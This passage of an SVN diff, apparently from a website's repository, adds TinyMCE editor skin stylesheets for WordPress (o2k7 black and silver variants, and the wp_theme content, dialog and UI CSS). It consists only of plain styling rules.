+.o2k7Skin .mceMenuItemDisabled .mceText {color:#888}
+.o2k7Skin .mceMenuItemSelected .mceIcon {background:url(../default/img/menu_check.gif)}
+.o2k7Skin .mceNoIcons .mceMenuItemSelected a {background:url(../default/img/menu_arrow.gif) no-repeat -6px center}
+.o2k7Skin .mceMenu span.mceMenuLine {display:none}
+.o2k7Skin .mceMenuItemSub a {background:url(../default/img/menu_arrow.gif) no-repeat top right;}
+
+/* Progress,Resize */
+.o2k7Skin .mceBlocker {position:absolute; left:0; top:0; z-index:1000; opacity:0.5; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=50); background:#FFF}
+.o2k7Skin .mceProgress {position:absolute; left:0; top:0; z-index:1001; background:url(../default/img/progress.gif) no-repeat; width:32px; height:32px; margin:-16px 0 0 -16px}
+.o2k7Skin .mcePlaceHolder {border:1px dotted gray}
+
+/* Formats */
+.o2k7Skin .mce_formatPreview a {font-size:10px}
+.o2k7Skin .mce_p span.mceText {}
+.o2k7Skin .mce_address span.mceText {font-style:italic}
+.o2k7Skin .mce_pre span.mceText {font-family:monospace}
+.o2k7Skin .mce_h1 span.mceText {font-weight:bolder; font-size: 2em}
+.o2k7Skin .mce_h2 span.mceText {font-weight:bolder; font-size: 1.5em}
+.o2k7Skin .mce_h3 span.mceText {font-weight:bolder; font-size: 1.17em}
+.o2k7Skin .mce_h4 span.mceText {font-weight:bolder; font-size: 1em}
+.o2k7Skin .mce_h5 span.mceText {font-weight:bolder; font-size: .83em}
+.o2k7Skin .mce_h6 span.mceText {font-weight:bolder; font-size: .75em}
+
+/* Theme */
+.o2k7Skin span.mce_bold {background-position:0 0}
+.o2k7Skin span.mce_italic {background-position:-60px 0}
+.o2k7Skin span.mce_underline {background-position:-140px 0}
+.o2k7Skin span.mce_strikethrough {background-position:-120px 0}
+.o2k7Skin span.mce_undo {background-position:-160px 0}
+.o2k7Skin span.mce_redo {background-position:-100px 0}
+.o2k7Skin span.mce_cleanup {background-position:-40px 0}
+.o2k7Skin span.mce_bullist {background-position:-20px 0}
+.o2k7Skin span.mce_numlist {background-position:-80px 0}
+.o2k7Skin span.mce_justifyleft {background-position:-460px 0}
+.o2k7Skin span.mce_justifyright {background-position:-480px 0}
+.o2k7Skin span.mce_justifycenter {background-position:-420px 0}
+.o2k7Skin span.mce_justifyfull {background-position:-440px 0}
+.o2k7Skin span.mce_anchor {background-position:-200px 0}
+.o2k7Skin span.mce_indent {background-position:-400px 0}
+.o2k7Skin span.mce_outdent {background-position:-540px 0}
+.o2k7Skin span.mce_link {background-position:-500px 0}
+.o2k7Skin span.mce_unlink {background-position:-640px 0}
+.o2k7Skin span.mce_sub {background-position:-600px 0}
+.o2k7Skin span.mce_sup {background-position:-620px 0}
+.o2k7Skin span.mce_removeformat {background-position:-580px 0}
+.o2k7Skin span.mce_newdocument {background-position:-520px 0}
+.o2k7Skin span.mce_image {background-position:-380px 0}
+.o2k7Skin span.mce_help {background-position:-340px 0}
+.o2k7Skin span.mce_code {background-position:-260px 0}
+.o2k7Skin span.mce_hr {background-position:-360px 0}
+.o2k7Skin span.mce_visualaid {background-position:-660px 0}
+.o2k7Skin span.mce_charmap {background-position:-240px 0}
+.o2k7Skin span.mce_paste {background-position:-560px 0}
+.o2k7Skin span.mce_copy {background-position:-700px 0}
+.o2k7Skin span.mce_cut {background-position:-680px 0}
+.o2k7Skin span.mce_blockquote {background-position:-220px 0}
+.o2k7Skin .mce_forecolor span.mceAction {background-position:-720px 0}
+.o2k7Skin .mce_backcolor span.mceAction {background-position:-760px 0}
+.o2k7Skin span.mce_forecolorpicker {background-position:-720px 0}
+.o2k7Skin span.mce_backcolorpicker {background-position:-760px 0}
+
+/* Plugins */
+.o2k7Skin span.mce_advhr {background-position:-0px -20px}
+.o2k7Skin span.mce_ltr {background-position:-20px -20px}
+.o2k7Skin span.mce_rtl {background-position:-40px -20px}
+.o2k7Skin span.mce_emotions {background-position:-60px -20px}
+.o2k7Skin span.mce_fullpage {background-position:-80px -20px}
+.o2k7Skin span.mce_fullscreen {background-position:-100px -20px}
+.o2k7Skin span.mce_iespell {background-position:-120px -20px}
+.o2k7Skin span.mce_insertdate {background-position:-140px -20px}
+.o2k7Skin span.mce_inserttime {background-position:-160px -20px}
+.o2k7Skin span.mce_absolute {background-position:-180px -20px}
+.o2k7Skin span.mce_backward {background-position:-200px -20px}
+.o2k7Skin span.mce_forward {background-position:-220px -20px}
+.o2k7Skin span.mce_insert_layer {background-position:-240px -20px}
+.o2k7Skin span.mce_insertlayer {background-position:-260px -20px}
+.o2k7Skin span.mce_movebackward {background-position:-280px -20px}
+.o2k7Skin span.mce_moveforward {background-position:-300px -20px}
+.o2k7Skin span.mce_media {background-position:-320px -20px}
+.o2k7Skin span.mce_nonbreaking {background-position:-340px -20px}
+.o2k7Skin span.mce_pastetext {background-position:-360px -20px}
+.o2k7Skin span.mce_pasteword {background-position:-380px -20px}
+.o2k7Skin span.mce_selectall {background-position:-400px -20px}
+.o2k7Skin span.mce_preview {background-position:-420px -20px}
+.o2k7Skin span.mce_print {background-position:-440px -20px}
+.o2k7Skin span.mce_cancel {background-position:-460px -20px}
+.o2k7Skin span.mce_save {background-position:-480px -20px}
+.o2k7Skin span.mce_replace {background-position:-500px -20px}
+.o2k7Skin span.mce_search {background-position:-520px -20px}
+.o2k7Skin span.mce_styleprops {background-position:-560px -20px}
+.o2k7Skin span.mce_table {background-position:-580px -20px}
+.o2k7Skin span.mce_cell_props {background-position:-600px -20px}
+.o2k7Skin span.mce_delete_table {background-position:-620px -20px}
+.o2k7Skin span.mce_delete_col {background-position:-640px -20px}
+.o2k7Skin span.mce_delete_row {background-position:-660px -20px}
+.o2k7Skin span.mce_col_after {background-position:-680px -20px}
+.o2k7Skin span.mce_col_before {background-position:-700px -20px}
+.o2k7Skin span.mce_row_after {background-position:-720px -20px}
+.o2k7Skin span.mce_row_before {background-position:-740px -20px}
+.o2k7Skin span.mce_merge_cells {background-position:-760px -20px}
+.o2k7Skin span.mce_table_props {background-position:-980px -20px}
+.o2k7Skin span.mce_row_props {background-position:-780px -20px}
+.o2k7Skin span.mce_split_cells {background-position:-800px -20px}
+.o2k7Skin span.mce_template {background-position:-820px -20px}
+.o2k7Skin span.mce_visualchars {background-position:-840px -20px}
+.o2k7Skin span.mce_abbr {background-position:-860px -20px}
+.o2k7Skin span.mce_acronym {background-position:-880px -20px}
+.o2k7Skin span.mce_attribs {background-position:-900px -20px}
+.o2k7Skin span.mce_cite {background-position:-920px -20px}
+.o2k7Skin span.mce_del {background-position:-940px -20px}
+.o2k7Skin span.mce_ins {background-position:-960px -20px}
+.o2k7Skin span.mce_pagebreak {background-position:0 -40px}
+.o2k7Skin .mce_spellchecker span.mceAction {background-position:-540px -20px}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui_black.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui_black.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui_black.css	(revision 44)
@@ -0,0 +1,8 @@
+/* Black */
+.o2k7SkinBlack .mceToolbar .mceToolbarStart span, .o2k7SkinBlack .mceToolbar .mceToolbarEnd span, .o2k7SkinBlack .mceButton, .o2k7SkinBlack .mceSplitButton, .o2k7SkinBlack .mceSeparator, .o2k7SkinBlack .mceSplitButton a.mceOpen, .o2k7SkinBlack .mceListBox a.mceOpen {background-image:url(img/button_bg_black.png)}
+.o2k7SkinBlack table, .o2k7SkinBlack .mceMenuItemTitle a, .o2k7SkinBlack .mceMenuItemTitle span.mceText, .o2k7SkinBlack .mceStatusbar div, .o2k7SkinBlack .mceStatusbar span, .o2k7SkinBlack .mceStatusbar a {background:#535353; color:#FFF}
+.o2k7SkinBlack table.mceListBoxEnabled .mceText, o2k7SkinBlack .mceListBox .mceText {background:#FFF; border:1px solid #CBCFD4; border-bottom-color:#989FA9; border-right:0}
+.o2k7SkinBlack table.mceListBoxEnabled:hover .mceText, .o2k7SkinBlack .mceListBoxHover .mceText, .o2k7SkinBlack .mceListBoxSelected .mceText {background:#FFF; border:1px solid #FFBD69; border-right:0}
+.o2k7SkinBlack .mceExternalToolbar, .o2k7SkinBlack .mceListBox .mceText, .o2k7SkinBlack div.mceMenu, .o2k7SkinBlack table.mceLayout, .o2k7SkinBlack .mceMenuItemTitle a, .o2k7SkinBlack table.mceLayout tr.mceFirst td, .o2k7SkinBlack table.mceLayout, .o2k7SkinBlack .mceMenuItemTitle a, .o2k7SkinBlack table.mceLayout tr.mceLast td, .o2k7SkinBlack .mceIframeContainer {border-color: #535353;}
+.o2k7SkinBlack table.mceSplitButtonEnabled:hover a.mceAction, .o2k7SkinBlack .mceSplitButtonHover a.mceAction, .o2k7SkinBlack .mceSplitButtonSelected {background-image:url(img/button_bg_black.png)}
+.o2k7SkinBlack .mceMenu .mceMenuItemEnabled a:hover, .o2k7SkinBlack .mceMenu .mceMenuItemActive {background-color:#FFE7A1}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui_silver.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui_silver.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui_silver.css	(revision 44)
@@ -0,0 +1,5 @@
+/* Silver */
+.o2k7SkinSilver .mceToolbar .mceToolbarStart span, .o2k7SkinSilver .mceButton, .o2k7SkinSilver .mceSplitButton, .o2k7SkinSilver .mceSeparator, .o2k7SkinSilver .mceSplitButton a.mceOpen, .o2k7SkinSilver .mceListBox a.mceOpen {background-image:url(img/button_bg_silver.png)}
+.o2k7SkinSilver table, .o2k7SkinSilver .mceMenuItemTitle a {background:#eee}
+.o2k7SkinSilver .mceListBox .mceText {background:#FFF}
+.o2k7SkinSilver .mceExternalToolbar, .o2k7SkinSilver .mceListBox .mceText, .o2k7SkinSilver div.mceMenu, .o2k7SkinSilver table.mceLayout, .o2k7SkinSilver .mceMenuItemTitle a, .o2k7SkinSilver table.mceLayout tr.mceFirst td, .o2k7SkinSilver table.mceLayout, .o2k7SkinSilver .mceMenuItemTitle a, .o2k7SkinSilver table.mceLayout tr.mceLast td, .o2k7SkinSilver .mceIframeContainer {border-color: #bbb}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/content.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/content.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/content.css	(revision 44)
@@ -0,0 +1,92 @@
+/* default styles */
+body {background:#FFF;}
+body.mceForceColors {background:#FFF; color:#000;}
+h1 {font-size: 2em}
+h2 {font-size: 1.5em}
+h3 {font-size: 1.17em}
+h4 {font-size: 1em}
+h5 {font-size: .83em}
+h6 {font-size: .75em}
+.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;}
+a.mceItemAnchor {width:12px; line-height:6px; overflow:hidden; padding-left:12px; background:url(../default/img/items.gif) no-repeat bottom left;}
+img.mceItemAnchor {width:12px; height:12px; background:url(../default/img/items.gif) no-repeat;}
+img {border:0;}
+table {cursor:default}
+table td, table th {cursor:text}
+ins {border-bottom:1px solid green; text-decoration: none; color:green}
+del {color:red; text-decoration:line-through}
+cite {border-bottom:1px dashed blue}
+acronym {border-bottom:1px dotted #CCC; cursor:help}
+abbr, html\:abbr {border-bottom:1px dashed #CCC; cursor:help}
+
+/* WordPress styles */
+html {
+	background-color: #fff;
+}
+
+.aligncenter,
+dl.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+.alignleft {
+	float: left;
+}
+
+.alignright {
+	float: right;
+}
+
+.wp-caption {
+	border: 1px solid #ddd;
+	text-align: center;
+	background-color: #f3f3f3;
+	padding-top: 4px;
+	margin: 10px;
+	-moz-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+}
+
+.wp-caption img {
+	margin: 0;
+	padding: 0;
+	border: 0 none;
+}
+
+.wp-caption-dd {
+	font-size: 11px;
+	line-height: 17px;
+	padding: 0 4px 5px;
+	margin: 0;
+}
+
+img.wpGallery {
+	border: 1px dotted #cc0000;
+	background: #ffffcc url("../../../../plugins/wpgallery/img/gallery.png") no-repeat scroll center center;
+	width: 99%;
+	height: 250px;
+}
+
+body.mceContentBody {
+	font: 13px/19px Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	padding: 0.6em;
+	margin: 0;
+}
+
+pre {
+	font: 12px/18px Consolas, Monaco, "Courier New", Courier, monospace;
+}
+
+td {
+	color: #000;
+	font-size: 11px;
+	margin: 8px;
+}
+
+.mceIEcenter {
+	text-align: center;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/dialog.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/dialog.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/dialog.css	(revision 44)
@@ -0,0 +1,117 @@
+/* Generic */
+body {
+font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px;
+background:#f1f1f1;
+padding:0;
+margin:8px 8px 0 8px;
+}
+
+html {background:#f1f1f1;}
+td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;}
+textarea {resize:none;outline:none;}
+a:link, a:visited {color:black;}
+a:hover {color:#2B6FB6;}
+.nowrap {white-space: nowrap}
+
+/* Forms */
+fieldset {margin:0; padding:4px; border:1px solid #dfdfdf; font-family:Verdana, Arial; font-size:10px;}
+legend {color:#2B6FB6; font-weight:bold;}
+label.msg {display:none;}
+label.invalid {color:#EE0000; display:inline;}
+input.invalid {border:1px solid #EE0000;}
+input {background:#FFF; border:1px solid #dfdfdf;}
+input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;}
+input, select, textarea {border:1px solid #dfdfdf;}
+input.radio {border:1px none #000000; background:transparent; vertical-align:middle;}
+input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;}
+.input_noborder {border:0;}
+
+/* Buttons */
+#insert, #cancel, #apply, .mceActionPanel .button, input.mceButton, .updateButton {
+	border: 1px solid #bbb; 
+	margin:0; 
+	padding:0 0 1px;
+	font-weight:bold;
+	font-size: 11px;
+	width:94px; 
+	height:24px;
+	background:url(img/fade-butt.png) 0 0;
+	color:#000;
+	cursor:pointer;
+	-moz-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+}
+#insert:hover, #cancel:hover, input.mceButton:hover, .updateButton:hover,
+#insert:focus, #cancel:focus, input.mceButton:focus, .updateButton:focus {
+	border: 1px solid #555;
+}
+
+/* Browse */
+a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;}
+.mceOldBoxModel a.browse span {width:22px; height:20px;}
+a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;}
+a.browse span.disabled {border:1px solid white; -moz-opacity:0.3; opacity:0.3; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=30);}
+a.browse:hover span.disabled {border:1px solid white; background-color:transparent;}
+a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;}
+.mceOldBoxModel a.pickcolor span {width:21px; height:17px;}
+a.pickcolor:hover span {background-color:#B2BBD0;}
+a.pickcolor, a.browse {text-decoration:none}
+
+/* Charmap */
+table.charmap {border:1px solid #AAA; text-align:center}
+td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;}
+#charmap a {display:block; color:#000; text-decoration:none; border:0}
+#charmap a:hover {background:#CCC;color:#2B6FB6}
+#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center}
+#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center}
+#charmap #charmapView {background-color:#fff;}
+
+/* Source */
+.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;}
+.mceActionPanel {margin-top:5px;}
+
+/* Tabs classes */
+.tabs {width:100%; height:18px; line-height:normal; background:url(img/tabs.gif) repeat-x 0 -72px;}
+.tabs ul {margin:0; padding:0; list-style:none;}
+.tabs li {float:left; background:url(img/tabs.gif) no-repeat 0 0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;}
+.tabs li.current {background:url(img/tabs.gif) no-repeat 0 -18px; margin-right:2px;}
+.tabs span {float:left; display:block; background:url(img/tabs.gif) no-repeat right -36px; padding:0px 10px 0 0;}
+.tabs .current span {background:url(img/tabs.gif) no-repeat right -54px;}
+.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;}
+.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;}
+
+/* Panels */
+.panel_wrapper div.panel {display:none;}
+.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;}
+.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;}
+
+/* Columns */
+.column {float:left;}
+.properties {width:100%;}
+.properties .column1 {}
+.properties .column2 {text-align:left;}
+
+/* Titles */
+h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;}
+h3 {font-size:14px;}
+.title {font-size:12px; font-weight:bold; color:#2B6FB6;}
+
+/* Dialog specific */
+#link .panel_wrapper, #link div.current {height:125px;}
+#image .panel_wrapper, #image div.current {height:200px;}
+#plugintable thead {font-weight:bold; background:#DDD;}
+#plugintable, #about #plugintable td {border:1px solid #919B9C;}
+#plugintable {width:96%; margin-top:10px;}
+#pluginscontainer {height:290px; overflow:auto;}
+#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;}
+#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;}
+#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;}
+#colorpicker #light div {overflow:hidden;}
+#colorpicker #previewblock {float:right; padding-left:10px; height:20px;}
+#colorpicker .panel_wrapper div.current {height:175px;}
+#colorpicker #namedcolors {width:150px;}
+#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;}
+#colorpicker #colornamecontainer {margin-top:5px;}
+#colorpicker #picker_panel fieldset {margin:auto;width:325px;}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css	(revision 44)
@@ -0,0 +1,380 @@
+/* Reset */
+.wp_themeSkin table, .wp_themeSkin tbody, .wp_themeSkin a, .wp_themeSkin img, .wp_themeSkin tr, .wp_themeSkin div, .wp_themeSkin td, .wp_themeSkin iframe, .wp_themeSkin span, .wp_themeSkin *, .wp_themeSkin .mceText {
+border:0; margin:0; padding:0; white-space:nowrap; text-decoration:none; font-weight:normal; cursor:default; vertical-align:baseline; width:auto; border-collapse:separate;
+}
+.wp_themeSkin a:hover, .wp_themeSkin a:link, .wp_themeSkin a:visited, .wp_themeSkin a:active {text-decoration:none; font-weight:normal; cursor:default;}
+.wp_themeSkin table td {vertical-align:middle}
+
+/* Containers */
+.wp_themeSkin table {}
+.wp_themeSkin iframe {display:block;}
+.wp_themeSkin .mceToolbar {padding: 2px;}
+
+/* External */
+.wp_themeSkin .mceExternalToolbar {position:absolute; border-bottom:0; display:none}
+.wp_themeSkin .mceExternalToolbar td.mceToolbar {padding-right:13px;}
+.wp_themeSkin .mceExternalClose {position:absolute; top:3px; right:3px; width:7px; height:7px; background:url(../../img/icons.gif) -820px 0}
+
+/* Layout */
+.wp_themeSkin table.mceToolbar, .wp_themeSkin tr.mceFirst .mceToolbar tr td, .wp_themeSkin tr.mceLast .mceToolbar tr td {border:0; margin:0; padding:0}
+.wp_themeSkin table.mceLayout {border:0;}
+.wp_themeSkin .mceIframeContainer {}
+.wp_themeSkin .mceStatusbar {
+	display: block;
+	font-family: 'MS Sans Serif',sans-serif,Verdana,Arial;
+	font-size: 9pt;
+	line-height: 16px;
+	overflow: visible;
+	height: 20px;
+	border-top-width: 1px;
+	border-top-style: solid;
+}
+.wp_themeSkin .mceStatusbar div {float:left; padding:2px;}
+.wp_themeSkin .mceStatusbar a.mceResize {
+	display: block;
+	float: right;
+	background: url(../../img/icons.gif) -800px 0;
+	width: 20px;
+	height: 20px;
+	cursor: se-resize
+}
+.wp_themeSkin .mceStatusbar a:hover {text-decoration:underline}
+.wp_themeSkin table.mceToolbar {margin: 0 2px 2px;}
+.wp_themeSkin #content_toolbar1 {margin-top: 2px;}
+.wp_themeSkin .mceToolbar .mceToolbarEndListBox span {display:none}
+.wp_themeSkin span.mceIcon, .wp_themeSkin img.mceIcon {display:block; width:20px; height:20px}
+.wp_themeSkin .mceIcon {background:url(../../img/icons.gif) no-repeat 20px 20px}
+
+/* Button */
+.wp_themeSkin .mceButton {
+	display:block; 
+	width: 20px; 
+	height: 20px; 
+	cursor: default; 
+	padding: 1px 2px; 
+	margin: 1px; 
+	background-image: url(img/butt2.png);
+	background-position: left top;
+	background-repeat: repeat-x;
+	-moz-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	border-radius: 3px;
+}
+.wp_themeSkin a.mceButton span, .wp_themeSkin a.mceButton img {}
+.wp_themeSkin .mceOldBoxModel a.mceButton span, .wp_themeSkin .mceOldBoxModel a.mceButton img {margin:0 0 0 1px}
+.wp_themeSkin a.mceButtonEnabled:hover {
+	background-position:0 -10px;
+}
+.wp_themeSkin a.mceButtonActive, .wp_themeSkin a.mceButtonSelected {
+	background-image: inherit;
+}
+.wp_themeSkin .mceButtonDisabled .mceIcon {opacity:0.3; filter:alpha(opacity=30);}
+.wp_themeSkin .mceButtonDisabled {}
+
+/* Separator */
+.wp_themeSkin .mceSeparator { 
+	height: 24px; 
+	width: 1px;
+	display: block;
+	background: transparent;
+	overflow: hidden; 
+	margin: 0 2px; 
+}
+
+/* ListBox */
+.wp_themeSkin .mceListBox, .wp_themeSkin .mceListBox a {display:block}
+.wp_themeSkin .mceListBox .mceText {
+	padding: 1px 2px 1px 5px;
+	text-align:left; 
+	text-decoration: none !important;
+	width:70px;  
+	background-image: url(img/butt2.png);
+	background-position: left top;
+	background-repeat: repeat-x;
+	font-family: Tahoma,Verdana,Arial,Helvetica; 
+	font-size: 11px; 
+	height: 20px; 
+	line-height: 20px; 
+	overflow: hidden;
+}
+.wp_themeSkin .mceListBox {
+	margin: 1px;
+	direction: ltr;
+}
+.wp_themeSkin .mceListBox .mceOpen {
+	width: 14px;
+	height: 20px; 
+	border-collapse: separate;
+	background-image: url(img/butt2.png);
+	background-position: left top;
+	background-repeat: repeat-x;
+	padding: 1px;
+	border-left: 0 none !important;
+}
+.wp_themeSkin .mceListBox .mceOpen span {
+	display: block;
+	width:14px;
+	height:20px;
+	background-image: url(img/down_arrow.gif);
+	background-position: 2px 1px;
+	background-repeat: no-repeat;
+}
+.wp_themeSkin table.mceListBoxEnabled:hover .mceText, 
+.wp_themeSkin .mceListBoxHover .mceText, 
+.wp_themeSkin .mceListBoxSelected .mceText,
+.wp_themeSkin table.mceListBoxEnabled:hover .mceOpen, 
+.wp_themeSkin .mceListBoxHover .mceOpen, 
+.wp_themeSkin .mceListBoxSelected .mceOpen {
+	background-image: none;
+}
+.wp_themeSkin .mceListBoxDisabled .mceText {color:gray}
+.wp_themeSkin .mceListBoxMenu {overflow:auto; overflow-x:hidden}
+.wp_themeSkin .mceOldBoxModel .mceListBox .mceText {height:22px}
+.wp_themeSkin select.mceListBox {font-family:Tahoma,Verdana,Arial,Helvetica; font-size:12px;}
+
+/* SplitButton */
+.wp_themeSkin .mceSplitButton a, .wp_themeSkin .mceSplitButton span {display:block; height:20px}
+.wp_themeSkin .mceSplitButton { 
+	display:block;
+	margin: 1px;
+	direction: ltr;
+}
+.wp_themeSkin table.mceSplitButton td {
+	padding: 2px;
+	background-image: url(img/butt2.png);
+	background-position: left top;
+	background-repeat: repeat-x;
+}
+.wp_themeSkin .mceSplitButton a.mceAction {
+	height:20px;
+	width:20px;
+	padding: 1px 2px;
+}
+.wp_themeSkin .mceSplitButton span.mceAction {
+	background: url(../../img/icons.gif) 20px 20px;
+	width:20px; 
+}
+.wp_themeSkin .mceSplitButton a.mceOpen {
+	width:10px;
+	height:20px;
+	background-image: url(img/down_arrow.gif);
+	background-position: 1px 2px;
+	background-repeat: no-repeat;
+	padding: 1px;
+	border-left: 0 none !important;
+}
+.wp_themeSkin .mceSplitButton span.mceOpen {display:none}
+.wp_themeSkin .mceSplitButtonDisabled .mceAction {
+	opacity:0.3; filter:alpha(opacity=30);
+}
+.wp_themeSkin .mceListBox a.mceText, .wp_themeSkin .mceSplitButton a.mceAction {
+	-moz-border-radius-bottomleft: 3px;
+	-webkit-border-bottom-left-radius: 3px;
+	-khtml-border-bottom-left-radius: 3px;
+	border-bottom-left-radius: 3px;
+	-moz-border-radius-topleft: 3px;
+	-webkit-border-top-left-radius: 3px;
+	-khtml-border-top-left-radius: 3px;
+	border-top-left-radius: 3px;
+}
+.wp_themeSkin .mceSplitButton a.mceOpen, .wp_themeSkin .mceListBox a.mceOpen {
+	-moz-border-radius-bottomright: 3px;
+	-webkit-border-bottom-right-radius: 3px;
+	-khtml-border-bottom-right-radius: 3px;
+	border-bottom-right-radius: 3px;
+	-moz-border-radius-topright: 3px;
+	-webkit-border-top-right-radius: 3px;
+	-khtml-border-top-right-radius: 3px;
+	border-top-right-radius: 3px;
+}
+
+/* ColorSplitButton */
+.wp_themeSkin div.mceColorSplitMenu table {}
+.wp_themeSkin .mceColorSplitMenu td {padding:2px}
+.wp_themeSkin .mceColorSplitMenu a {display:block; width:9px; height:9px; overflow:hidden;}
+.wp_themeSkin .mceColorSplitMenu td.mceMoreColors {padding:1px 3px 1px 1px}
+.wp_themeSkin .mceColorSplitMenu a.mceMoreColors {width:100%; height:auto; text-align:center; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; line-height:20px;}
+.wp_themeSkin .mceColorSplitMenu a.mceMoreColors:hover {}
+.wp_themeSkin a.mceMoreColors:hover {}
+.wp_themeSkin .mceColorPreview {margin: -4px 0 0 2px; width:16px; height:4px; overflow:hidden}
+
+/* Menu */
+.wp_themeSkin .mceMenu {position:absolute; left:0; top:0; z-index:1000;}
+.wp_themeSkin .mceNoIcons span.mceIcon {width:0;}
+.wp_themeSkin .mceNoIcons a .mceText {padding-left:10px}
+.wp_themeSkin .mceMenu table {}
+.wp_themeSkin .mceMenu a, .wp_themeSkin .mceMenu span, .wp_themeSkin .mceMenu {display:block}
+.wp_themeSkin .mceMenu td {height:20px;overflow:hidden;}
+.wp_themeSkin .mceMenu a {
+	position:relative;
+	padding:3px 0 4px 0;
+	text-decoration: none !important;
+}
+.wp_themeSkin .mceMenu .mceText {
+	position:relative; 
+	display:block; 
+	font-family:Tahoma,Verdana,Arial,Helvetica; 
+	cursor:default; 
+	margin:0; 
+	padding:0 25px;
+}
+.wp_themeSkin .mceMenu span.mceText, .wp_themeSkin .mceMenu .mcePreview {font-size:11px}
+.wp_themeSkin .mceMenu pre.mceText {font-family:Monospace}
+.wp_themeSkin .mceMenu .mceIcon {position:absolute; top:0; left:0; width:22px;}
+.wp_themeSkin .mceMenu .mceMenuItemEnabled a:hover, 
+.wp_themeSkin .mceMenu .mceMenuItemActive {}
+.wp_themeSkin td.mceMenuItemSeparator {height:1px}
+.wp_themeSkin .mceMenuItemTitle a {
+	border-top: 0;
+	border-right: 0;
+	border-left: 0;
+	border-bottom-style: solid;
+	border-bottom-width: 1px;
+	text-decoration: none !important;
+}
+.wp_themeSkin .mceMenuItemTitle span.mceText {font-weight:bold; padding-left:4px}
+.wp_themeSkin .mceMenuItemDisabled .mceText {}
+.wp_themeSkin .mceMenuItemSelected .mceIcon {background:url(../default/img/menu_check.gif)}
+.wp_themeSkin .mceNoIcons .mceMenuItemSelected a {background:url(../default/img/menu_arrow.gif) no-repeat -6px center}
+.wp_themeSkin .mceMenu span.mceMenuLine {display:none}
+.wp_themeSkin .mceMenuItemSub a {background:url(../default/img/menu_arrow.gif) no-repeat top right;}
+
+/* Progress,Resize */
+.wp_themeSkin .mceBlocker {position:absolute; left:0; top:0; z-index:1000; opacity:0.5; filter:alpha(opacity=50); background:#FFF}
+.wp_themeSkin .mceProgress {position:absolute; left:0; top:0; z-index:1001; background:url(../default/img/progress.gif) no-repeat; width:32px; height:32px; margin:-16px 0 0 -16px}
+.wp_themeSkin .mcePlaceHolder {border:1px dotted gray}
+
+/* Formats */
+.wp_themeSkin .mce_formatPreview a {font-size:10px}
+.wp_themeSkin .mce_p span.mceText {}
+.wp_themeSkin .mce_address span.mceText {font-style:italic}
+.wp_themeSkin .mce_pre span.mceText {font-family:monospace}
+.wp_themeSkin .mce_h1 span.mceText {font-weight:bolder; font-size: 2em}
+.wp_themeSkin .mce_h2 span.mceText {font-weight:bolder; font-size: 1.5em}
+.wp_themeSkin .mce_h3 span.mceText {font-weight:bolder; font-size: 1.17em}
